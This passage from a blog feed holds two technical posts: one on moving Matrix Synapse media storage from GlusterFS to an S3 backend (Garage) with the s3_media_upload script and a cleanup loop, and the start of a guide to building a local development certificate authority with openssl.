The first one often leads to wasted resources while the second one is often hard to manage and require expensive hardware and network.&lt;/p&gt;

&lt;p&gt;Thankfully, as we store blob data, we do not need the full power of a filesystem and a more lightweight API like S3 is enough.
In Matrix Synapse language, these solutions are referred as storage provider.
In this article, we will see how we migrated from GlusterFS to Matrix’s S3 storage provider + our &lt;a href=&quot;garagehq.deuxfleurs.fr/&quot;&gt;Garage&lt;/a&gt; backend.&lt;/p&gt;

&lt;h2 id=&quot;internals&quot;&gt;Internals&lt;/h2&gt;

&lt;p&gt;First, Matrix’s developpers make a difference between a &lt;em&gt;media provider&lt;/em&gt; and a &lt;em&gt;storage provider&lt;/em&gt;.
It appears that files are always stored in the &lt;em&gt;media provider&lt;/em&gt; even if a &lt;em&gt;storage provider&lt;/em&gt; is registered, and there is no way
to change this behavior in the code. And unfortunately the &lt;em&gt;media provider&lt;/em&gt; can only use the filesystem.&lt;/p&gt;

&lt;p&gt;For example when fetching a media, we can see &lt;a href=&quot;https://github.com/matrix-org/synapse/blob/b996782df51eaa5dd30635a7c59c93994d3a735e/synapse/rest/media/v1/media_storage.py#L185-L198&quot;&gt;in the code&lt;/a&gt; that the filesystem is always probed first, and only then our remote backend.&lt;/p&gt;

&lt;p&gt;We also see &lt;a href=&quot;https://github.com/matrix-org/synapse/blob/b996782df51eaa5dd30635a7c59c93994d3a735e/synapse/rest/media/v1/media_storage.py#L202-L211&quot;&gt;in the code&lt;/a&gt; that the &lt;em&gt;media provider&lt;/em&gt; can be referred as the local cache and that some parts of the code may require that a file is in the local cache.&lt;/p&gt;

&lt;p&gt;As a conclusion, the best we can do is to keep the &lt;em&gt;media provider&lt;/em&gt; as a local cache.
The concept of cache is very artificial as there is no integrated tool for cache eviction: it is our responsability to garbage collect the cache.&lt;/p&gt;

&lt;h2 id=&quot;migration&quot;&gt;Migration&lt;/h2&gt;

&lt;p&gt;We can easily configure the S3 synapse provider in our &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;homeserver.yaml&lt;/code&gt;:&lt;/p&gt;

&lt;div class=&quot;language-yaml highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;na&quot;&gt;media_storage_providers&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
&lt;span class=&quot;pi&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;module&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;s3_storage_provider.S3StorageProviderBackend&lt;/span&gt;
  &lt;span class=&quot;na&quot;&gt;store_local&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;True&lt;/span&gt;
  &lt;span class=&quot;na&quot;&gt;store_remote&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;True&lt;/span&gt;
  &lt;span class=&quot;na&quot;&gt;store_synchronous&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;True&lt;/span&gt;
  &lt;span class=&quot;na&quot;&gt;config&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;na&quot;&gt;bucket&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;matrix&lt;/span&gt;
    &lt;span class=&quot;na&quot;&gt;region_name&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;garage&lt;/span&gt;
    &lt;span class=&quot;na&quot;&gt;endpoint_url&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;XXXXXXXXXXXXXX&lt;/span&gt;
    &lt;span class=&quot;na&quot;&gt;access_key_id&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;XXXXXXXXXXXXXX&lt;/span&gt;
    &lt;span class=&quot;na&quot;&gt;secret_access_key&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;XXXXXXXXXXX&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Registering the module like that will only be useful for our new media, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;store_local: True&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;store_remote: True&lt;/code&gt; means that newly media will be uploaded to our S3 target and we want to check that upload suceed before notifying the user (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;store_synchronous: True&lt;/code&gt;). The rationale for there store options is to enable administators to handle the upload with a &lt;em&gt;pull approach&lt;/em&gt; rather than with our &lt;em&gt;push approach&lt;/em&gt;. In practise, for the &lt;em&gt;pull approach&lt;/em&gt;, administrators have to call regularly a script (with a cron for example) to copy the files on the target. A script is provided by the extension developpers named &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;s3_media_upload&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;This script is also the sole way to migrate old media (that cannot be &lt;em&gt;pushed&lt;/em&gt;) so we will still have to use it.
First, we need some setup to use this tool:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;postgres credentials + endpoint must be stored in a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;database.yml&lt;/code&gt; file&lt;/li&gt;
  &lt;li&gt;s3 credentials must be configured as per the &lt;a href=&quot;https://boto3.amazonaws.com/v1/documentation/api/1.9.46/guide/configuration.html&quot;&gt;boto convention&lt;/a&gt; and the endpoint can be specified on the command line&lt;/li&gt;
  &lt;li&gt;the path to the local cache/media repository is also passed through the command line&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;This script needs to store some states between command executions and thus will create a sqlite in your working directory named &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;cache.db&lt;/code&gt;. Do not delete it!&lt;/p&gt;

&lt;p&gt;In practise, your database configuration may be created as follow:&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nb&quot;&gt;cat&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; database.yaml &lt;span class=&quot;o&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;no&quot;&gt;EOF&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;
user: xxxxx
password: xxxxx
database: xxxxxx
host: xxxxxxxx
port: 5432
&lt;/span&gt;&lt;span class=&quot;no&quot;&gt;EOF
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;And S3 can be configured through environment variables:&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nb&quot;&gt;export &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;AWS_ACCESS_KEY_ID&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&quot;&lt;/span&gt;
&lt;span class=&quot;nb&quot;&gt;export &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;AWS_SECRET_ACCESS_KEY&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&quot;&lt;/span&gt;
&lt;span class=&quot;nb&quot;&gt;export &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;AWS_DEFAULT_REGION&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;garage&quot;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;We are now ready, the other parameters will be passed on the command line.&lt;/p&gt;

&lt;h2 id=&quot;use-the-tool&quot;&gt;Use the tool&lt;/h2&gt;

&lt;p&gt;First we must build a list of media that we want to send to S3.
I guess that developpers designed this tool with the idea that S3 is an archive target and that we want to keep recent data locally.
That’s why a duration is required, because they want to send only old data to S3.
Here, we will fetch media that are at least one day (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;1d&lt;/code&gt;) old, but you can set 1 month (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;1m&lt;/code&gt;) to keep more media locally or 0 day (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0d&lt;/code&gt;) if you want close to no local cache. For more details, check &lt;a href=&quot;https://github.com/matrix-org/synapse-s3-storage-provider/blob/main/scripts/s3_media_upload#L140-L185&quot;&gt;the source code&lt;/a&gt;.&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;./s3_media_upload update-db 1d
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Filters media that are not on the local filesystem, either because they were already uploaded to our S3 backend or because they are lost. &lt;a href=&quot;https://github.com/matrix-org/synapse-s3-storage-provider/blob/main/scripts/s3_media_upload#L188-L217&quot;&gt;See the code&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Please not that I deactivated the progress bar because it is buggy on my docker exec inside a screen inside a ssh session.&lt;/em&gt;&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;./s3_media_upload &lt;span class=&quot;nt&quot;&gt;--no-progress&lt;/span&gt; check-deleted /var/lib/matrix-synapse/media 
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;If we want to combine &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;update-db&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;check-deleted&lt;/code&gt;, we can run &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;update&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Now, before doing any action, we might want to see our candidates.
These candidates may already be present on our S3 target so you may end up uploading less data.&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;./s3_media_upload write
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The command upload does many things at once:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;check again that the file is still on the local filesystem&lt;/li&gt;
  &lt;li&gt;check if the file exists on S3&lt;/li&gt;
  &lt;li&gt;upload it to S3 if needed&lt;/li&gt;
  &lt;li&gt;optionnaly delete the local file&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Ideally, I would only use our S3 target and not anymore the local filesystem.
Because it is not possible with this module, at least I delete uploaded content from the local filesystem.
&lt;a href=&quot;https://github.com/matrix-org/synapse-s3-storage-provider/blob/main/scripts/s3_media_upload#L220-L282&quot;&gt;See the source code for more details&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;My final command looks like this:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;./s3_media_upload --no-progress upload /var/lib/matrix-synapse/media matrix --delete --endpoint-url https://garage.deuxfleurs.fr 
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h2 id=&quot;glusterfs-again&quot;&gt;GlusterFS again&lt;/h2&gt;

&lt;p&gt;By running this script one month after activating the main module, I observed that many files were missing on our S3 target, around 60%.
Our setup was as follow:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;The media repository (the local filesystem) was on GlusterFS&lt;/li&gt;
  &lt;li&gt;The storage provider (our S3 target) was handled by Garage&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;We now that our GlusterFS target suffers from severe performance issues.
I manually migrated the files then deployed a second setup:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;The media repository was now mounted in RAM (a tmpfs)&lt;/li&gt;
  &lt;li&gt;The storage provider was still our S3 target&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;And now, all of our media are successfully sent on our S3 target.
My guess is that each media is first written on the local filesystem and then sent on S3.
Because GlusterFS is slow and error prone, some exceptions or timeouts may be risen before the file is uploaded to S3.&lt;/p&gt;

&lt;p&gt;At least, we now consider the problem as solved.
We only need one more step: regulargy cleaning up the local filesystem to not fill our RAM.&lt;/p&gt;

&lt;h2 id=&quot;goold-old-cron&quot;&gt;Goold old cron&lt;/h2&gt;

&lt;p&gt;Because there is no elegant solution and my time is limited, I chose to write a script that run every 10 minutes.
It checks that the files are already on the S3 bucket and then delete them from the filesystem.&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c&quot;&gt;#!/bin/bash&lt;/span&gt;

&lt;span class=&quot;nb&quot;&gt;cat&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; database.yaml &lt;span class=&quot;o&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;no&quot;&gt;EOF&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;
user: &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$PG_USER&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;
password: &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$PG_PASS&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;
database: &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$PG_DB&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;
host: &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$PG_HOST&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;
port: &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$PG_PORT&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;no&quot;&gt;EOF

&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;while &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;true&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;do
  &lt;/span&gt;s3_media_upload update-db 0d
  s3_media_upload &lt;span class=&quot;nt&quot;&gt;--no-progress&lt;/span&gt; check-deleted &lt;span class=&quot;nv&quot;&gt;$MEDIA_PATH&lt;/span&gt;
  s3_media_upload &lt;span class=&quot;nt&quot;&gt;--no-progress&lt;/span&gt; upload &lt;span class=&quot;nv&quot;&gt;$MEDIA_PATH&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$BUCKET&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;--delete&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;--endpoint-url&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$ENDPOINT&lt;/span&gt; 
  &lt;span class=&quot;nb&quot;&gt;sleep &lt;/span&gt;600
&lt;span class=&quot;k&quot;&gt;done&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;To use it, you must set the following environment variables:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;For AWS: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;AWS_ACCESS_KEY_ID&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;AWS_SECRET_ACCESS_KEY&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;AWS_DEFAULT_REGION&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ENDPOINT&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;BUCKET&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;For Postgres: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;PG_USER&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;PG_PASS&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;PG_DB&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;PG_HOST&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;PG_PORT&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;For the filesystem: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;MEDIA_PATH&lt;/code&gt;, we suppose &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;s3_media_upload&lt;/code&gt; is in your &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;PATH&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;matrix-media-repo&quot;&gt;matrix-media-repo&lt;/h2&gt;

&lt;p&gt;I presented the “native” way to handle media on Matrix Synapse but there is also a community managed project named &lt;a href=&quot;https://docs.t2bot.io/matrix-media-repo&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;matrix-media-repo&lt;/code&gt;&lt;/a&gt; with a slightly different goal. The author wanted to have a common media repository for multiple servers to reduce storage costs.&lt;/p&gt;

&lt;p&gt;matrix-media-repo is not implementation independent: instead, it shadows the matrix endpoint used for the media &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/_matrix/media&lt;/code&gt; and thus is compatible with any matrix server, like dendrite or conduit. Its main advantage over our solution is that it does not have this mandatory cache, it can directly upload and serve from a S3 backend, simplifying the management.&lt;/p&gt;

&lt;p&gt;Depending on your reverse proxy, it might be possible that if &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;matrix-media-repo&lt;/code&gt; is down, users are redirected to the original endpoint that should not be used anymore, leading to loss of data and strange behaviors. It seems that &lt;a href=&quot;https://github.com/matrix-org/synapse/blob/v1.42.0/synapse/config/server.py#L265-L269&quot;&gt;an option&lt;/a&gt; in Synapse allows to deactivate the media-repo, it might save you some time if it works.&lt;/p&gt;

&lt;h2 id=&quot;conclusion&quot;&gt;Conclusion&lt;/h2&gt;

&lt;p&gt;Using a S3 target with Matrix is not trivial. &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;matrix-media-repo&lt;/code&gt; seems to be a better solution but in practise it has also its own drawbacks. For now, even if not optimal, our deployed solutions works well and it’s what matters.&lt;/p&gt;

</description>
        <pubDate>Tue, 14 Sep 2021 00:00:00 +0200</pubDate>
        <link>https://quentin.dufour.io/blog/2021-09-14/matrix-synapse-s3-storage/</link>
        <guid isPermaLink="true">https://quentin.dufour.io/blog/2021-09-14/matrix-synapse-s3-storage/</guid>
      </item>
    
    
    
      <item>
        <title>Develop with TLS</title>
        
        <description>&lt;p&gt;In this article we focus on openssl as it is generally available and,
hopefully, it is versatile enough to adapt all our uses cases.
Note that more straightforward tools exist such as &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;mkcert&lt;/code&gt;.
They simplify many steps presented here.&lt;/p&gt;

&lt;p&gt;This article is not exhaustive to keep it readable but do not hesitate to complete it with
the corresponding openssl manpage.
You can already start with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;man openssl&lt;/code&gt; but keep in mind that openssl 
works with subcommands that have dedicated manpages (eg. the manpage for &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;openssl x509&lt;/code&gt; is &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;man x509&lt;/code&gt; on my Fedora).&lt;/p&gt;

&lt;p&gt;In this guide, our target is to create a simple CA for &lt;strong&gt;local development purposes only&lt;/strong&gt;.
Do not reproduce this practises in production or you will put yourself, your organization and your users at risk.&lt;/p&gt;

&lt;p&gt;In our commands, we do not specify an output format even if multiple formats exist.
To name only two, we have PEM or DER.
By default, openssl always use PEM encoding (which stands for Privacy-Enhanced Mail) and is defined in &lt;a href=&quot;https://datatracker.ietf.org/doc/html/rfc7468&quot;&gt;RFC 7468&lt;/a&gt;. It is basically a way to store base64 encoded data in files. In my experience, this format is supported in many places. Often we use the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.pem&lt;/code&gt; extension to denote a PEM encoded file but in practise, like in this article, we also create files with the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.crt&lt;/code&gt; or &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.key&lt;/code&gt; extension that are also storing PEM encoded data.&lt;/p&gt;

&lt;p&gt;I am done with the preamble, let’s start generating our certificates by choosing a working folder (I will assume that your &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;$D&lt;/code&gt; environment variable is set for all following commands):&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nb&quot;&gt;export &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;D&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$HOME&lt;/span&gt;/.certs/localhost/
&lt;span class=&quot;nb&quot;&gt;mkdir&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-p&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$D&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h2 id=&quot;the-certificate-authority&quot;&gt;The Certificate Authority&lt;/h2&gt;

&lt;p&gt;It is mandatory to create a CA certificate that is independant from your End-entity Certificate,
otherwise you will have an error such as &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CA_CERT_USED_AS_END_ENTITY&lt;/code&gt; in Firefox.&lt;/p&gt;

&lt;p&gt;For this article, I arbitrarily chose to generate an Elliptic Curve Key (and not a RSA one) that will be our CA private key.&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;openssl ecparam &lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;
  &lt;span class=&quot;nt&quot;&gt;-genkey&lt;/span&gt; &lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;
  &lt;span class=&quot;nt&quot;&gt;-name&lt;/span&gt; prime256v1 &lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;
  &lt;span class=&quot;nt&quot;&gt;-out&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$D&lt;/span&gt;/ca.key
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;For more information about this command, run &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;man ecparam&lt;/code&gt;, read &lt;a href=&quot;https://www.bortzmeyer.org/8422.html&quot;&gt;Bortzmeyer post (FR)&lt;/a&gt; or directly the &lt;a href=&quot;https://www.rfc-editor.org/rfc/rfc8422.html&quot;&gt;RFC 8422&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Now, we want to generate a self-signed &lt;a href=&quot;https://en.wikipedia.org/wiki/X.509&quot;&gt;X.509 certificate&lt;/a&gt; for our Certificate Authority from the previously generated private key. Know that an expiration date is mandatory for a certificate. We set it to 10 years (3650 days) to not be annoyed in the near future by the expiration of our certificate but be sure to set it to a shorter time in production.&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;openssl req &lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;
  &lt;span class=&quot;nt&quot;&gt;-x509&lt;/span&gt; &lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;
  &lt;span class=&quot;nt&quot;&gt;-new&lt;/span&gt; &lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;
  &lt;span class=&quot;nt&quot;&gt;-key&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$D&lt;/span&gt;/ca.key &lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;
  &lt;span class=&quot;nt&quot;&gt;-days&lt;/span&gt; 3650 &lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;
  &lt;span class=&quot;nt&quot;&gt;-out&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$D&lt;/span&gt;/ca.pem &lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;
  &lt;span class=&quot;nt&quot;&gt;-subj&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;/C=XX/ST=XX/L=XX/O=XX/OU=XX/CN=LOCAL_CA/emailAddress=X@X.XX&quot;&lt;/span&gt; 
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;For more information on this command, run &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;man req&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Now that our authority (CA) is ready, we can add it to the CA store of our system and/or applications.
Each software, OS and distribution as its own procedure.
For Fedora, run:&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nb&quot;&gt;sudo cp&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$D&lt;/span&gt;/ca.pem /etc/pki/ca-trust/source/anchors/localhost.crt
&lt;span class=&quot;nb&quot;&gt;sudo &lt;/span&gt;update-ca-trust
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;For Windows, Mac OS, Debian/Ubuntu, Firefox or Chrome, you can refer to &lt;a href=&quot;https://www.bounca.org/tutorials/install_root_certificate.html&quot;&gt;BounCA’s guide&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;And that’s all, we have added our certificate authority to our system!&lt;/p&gt;

&lt;h2 id=&quot;end-entity-certificate&quot;&gt;End-entity Certificate&lt;/h2&gt;

&lt;p&gt;Now, we will generate our end-entity certificate, the one that will be used by our application. We start with the private key:&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;openssl ecparam &lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;
  &lt;span class=&quot;nt&quot;&gt;-genkey&lt;/span&gt; &lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;
  &lt;span class=&quot;nt&quot;&gt;-name&lt;/span&gt; prime256v1 &lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;
  &lt;span class=&quot;nt&quot;&gt;-out&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$D&lt;/span&gt;/localhost.key
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Then we generate a Certificate Signing Request.
The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CN&lt;/code&gt; field is important as it will be checked against your domain name in many cases.
Here, we want a certificate for our development needs so we set it to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;localhost&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;But we also want a valid certificate when we access our service through our loopback IP address, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;127.0.0.1&lt;/code&gt;.
Additionnaly, we want to support an infinite number of subdomains to test multiple services at the same time.
At this point, we need to use an extension to set the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;subjectAltName&lt;/code&gt; key.&lt;/p&gt;

&lt;p&gt;Before going further, let digress a little bit on how to choose a domain for development that will not overlap with a (possibly) existing internet service. Know that &lt;a href=&quot;https://datatracker.ietf.org/doc/html/rfc6761#section-6.3&quot;&gt;RFC 6761&lt;/a&gt; says that &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.localhost&lt;/code&gt; is a reserved TLD, so we are sure it will never be advertised by root DNS servers and limited to our machine.&lt;/p&gt;

&lt;p&gt;To summarize, we want a single certificate that is valid for (1) &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;localhost&lt;/code&gt;, (2) all subdomains of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;localhost&lt;/code&gt; and (3) for the IP address &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;127.0.0.1&lt;/code&gt; (and we could add a (4) for &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;::1&lt;/code&gt;, the IPv6 loopback address). We simply must set the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;subjectAltName&lt;/code&gt; key to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;DNS:localhost, DNS:*.localhost, IP:127.0.0.1&lt;/code&gt;.&lt;/p&gt;

